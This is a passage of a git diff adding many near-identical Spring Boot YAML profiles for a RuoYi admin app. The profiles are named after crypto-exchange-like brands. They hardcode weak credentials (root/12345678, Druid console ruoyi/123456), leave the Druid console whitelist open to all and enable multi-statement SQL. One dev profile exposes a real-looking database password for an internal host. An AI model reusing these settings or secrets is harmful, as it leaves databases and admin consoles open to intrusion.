设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bityc.yml b/ruoyi-admin/src/main/resources/application-bityc.yml new file mode 100644 index 0000000..68de3e5 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bityc.yml @@ -0,0 +1,95 @@ +app: + name: bityc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bityc?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bkfcoin.yml b/ruoyi-admin/src/main/resources/application-bkfcoin.yml new file mode 100644 index 0000000..e5d6312 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bkfcoin.yml @@ -0,0 +1,96 @@ +app: + name: bkfcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bkfcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-cmwoin.yml b/ruoyi-admin/src/main/resources/application-cmwoin.yml new file mode 100644 index 0000000..9e32037 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-cmwoin.yml @@ -0,0 +1,96 @@ +app: + name: cmwoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/cmwoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-coinang.yml b/ruoyi-admin/src/main/resources/application-coinang.yml new file mode 100644 index 0000000..606c1bc --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-coinang.yml @@ -0,0 +1,96 @@ +app: + name: coinang +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinang?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-coinmarketcap.yml b/ruoyi-admin/src/main/resources/application-coinmarketcap.yml new file mode 100644 index 0000000..d485e33 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-coinmarketcap.yml @@ -0,0 +1,96 @@ +app: + name: coinmarketcap +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinmarketcap?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-coinsexpto.yml b/ruoyi-admin/src/main/resources/application-coinsexpto.yml new file mode 100644 index 0000000..921aef6 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-coinsexpto.yml @@ -0,0 +1,95 @@ +app: + name: coinsexpto +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinsexpto?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-das.yml b/ruoyi-admin/src/main/resources/application-das.yml new file mode 100644 index 0000000..0add0ba --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-das.yml @@ -0,0 +1,95 @@ +app: + name: das +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/das?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-dentcoin.yml b/ruoyi-admin/src/main/resources/application-dentcoin.yml new file mode 100644 index 0000000..3928125 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-dentcoin.yml @@ -0,0 +1,96 @@ +app: + name: dentcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/dentcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-dev-new.yml b/ruoyi-admin/src/main/resources/application-dev-new.yml new file mode 100644 index 0000000..e1fed7a --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-dev-new.yml @@ -0,0 +1,95 @@ +app: + name: test2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8082 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/echo2.1?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-dev.yml b/ruoyi-admin/src/main/resources/application-dev.yml new file mode 100644 index 0000000..2e130fd --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-dev.yml @@ -0,0 +1,99 @@ +app: + name: test +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8080 +# 数据源配置 +spring: + # redis 配置 + redis: + # 连接超时 毫秒 + connectTimeout: 1800 + # 地址 + host: 127.0.0.1 + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + #password: 123d3ggf2 + password: + # 连接超时时间 + timeout: 60s + jedis: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://192.168.66.92:3306/tbecho?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: tbecho + password: sen6CZWtpBcXfncJ + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn diff --git a/ruoyi-admin/src/main/resources/application-dex.yml b/ruoyi-admin/src/main/resources/application-dex.yml new file mode 100644 index 0000000..3ddf71e --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-dex.yml @@ -0,0 +1,95 @@ +app: + name: dex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/dex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-ebc.yml b/ruoyi-admin/src/main/resources/application-ebc.yml new file mode 100644 index 0000000..7a23f7a --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-ebc.yml @@ -0,0 +1,96 @@ +app: + name: ebc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/ebc?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-etfinex.yml b/ruoyi-admin/src/main/resources/application-etfinex.yml new file mode 100644 index 0000000..6c14a19 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-etfinex.yml @@ -0,0 +1,95 @@ +app: + name: etfinex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/etfinex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + 